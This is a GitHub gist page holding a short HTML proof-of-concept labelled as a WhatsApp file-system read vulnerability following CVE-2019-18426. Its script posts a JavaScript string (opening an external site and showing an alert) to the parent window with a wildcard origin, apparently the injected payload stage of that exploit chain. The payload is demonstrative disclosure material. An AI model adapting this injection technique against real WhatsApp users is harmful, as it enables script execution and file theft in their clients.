Skip to content

Instantly share code, notes, and snippets.

@galpx
Created August 11, 2020 10:07
Show Gist options
  • Save galpx/91393071d615e2132eece73284b68f44 to your computer and use it in GitHub Desktop.
Save galpx/91393071d615e2132eece73284b68f44 to your computer and use it in GitHub Desktop.
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment